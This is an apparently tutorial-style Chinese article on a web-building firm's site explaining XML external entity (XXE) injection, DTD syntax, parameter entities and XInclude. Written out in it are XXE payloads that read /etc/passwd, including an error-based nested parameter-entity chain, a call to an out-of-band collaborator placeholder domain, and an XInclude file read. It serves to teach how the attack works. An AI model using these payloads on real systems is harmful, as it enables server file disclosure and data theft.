尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

XML外部实体注入

XML外部实体注入 DTD文档定义类型通过一系列的声明语句来规范XML文档校验XML文档是否合规DTD声明的时候只是给实体起一个名字不用加在XML正文里调用的时候要加这是告诉XML解析器这里要解析实体DOCTYPE的基础定义!DOCTYPE 根元素名 [内部DTD约束内容] 根元素名 子节点数据 /根元素名标识符必须和整个XML文档最外层的跟标签名相同参数实体引用不能在引号包裹的字面量(字符串文本)内部就地展开但是经过二次解析是可以的例中#25;实体编码后锁住了解析当解析到eval的时候才把第一次解析之后得到的!ENTITY % exfil SYSTEM file:///invalid/%file;再次解析此时就可以解析%file!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM file:///invalid/%file; %eval; %exfil;1.内部DTD只对当前文件生效?xml version1.0 encodingutf-8? !DOCTYPE 根标签名 [ !-- 内部DTD约束写在这里 -- !ELEMENT book (name,author) !ELEMENT name (#PCDATA) !ELEMENT author (#PCDATA) ] book nameJava入门/name author张三/author /book2.外部DTD约束规则单独存为.dtd的独立文件XML通过路径地址引用!DOCTYPE book SYSTEM book.dtd3.混合DTDXML自定义实体!DOCTYPE foo [ !ENTITY myentity my entity value ]XML外部实体实体对应的内容不写在XML内部而是让XML解析器去外部拉去内容充当实体的值可以是网络地址也可以是服务器的磁盘文件!ENTITY 实体名 SYSTEM 资源地址XML参数实体定义和调用的时候都是用%且定义和调用都在DTD内部1.内部XML参数实体!DOCTYPE test [ !-- 定义参数实体 -- !ENTITY % text abc123 !-- 在DTD内引用展开 -- %text; ] test/test2.外部实体参数!DOCTYPE stockCheck [ !-- 让解析器去拉取远程URL上的DTD文件 -- !ENTITY % xxe SYSTEM http://burp-collaborator域名 %xxe; ]XIncludeXInclude是W3C制定的XML标准扩展功能全称 XML Inclusions直接在!DOCTYPE里读取 /etc/passwd时读取出的内容只当作纯文本这份文件内容仅仅是宿主机XML里一段普通文本自负不会强制执行xml的文档格式XInclude的目的是拼接各种xml文件所以得到的内容会自动执行xml的格式会将文件强行解析成一份全新的xml文档解析以后在合并进主xml结构里foo xmlns:xihttp://www.w3.org/2001/XIncludexi:include parsetext hreffile:///etc/passwd//foo
返回列表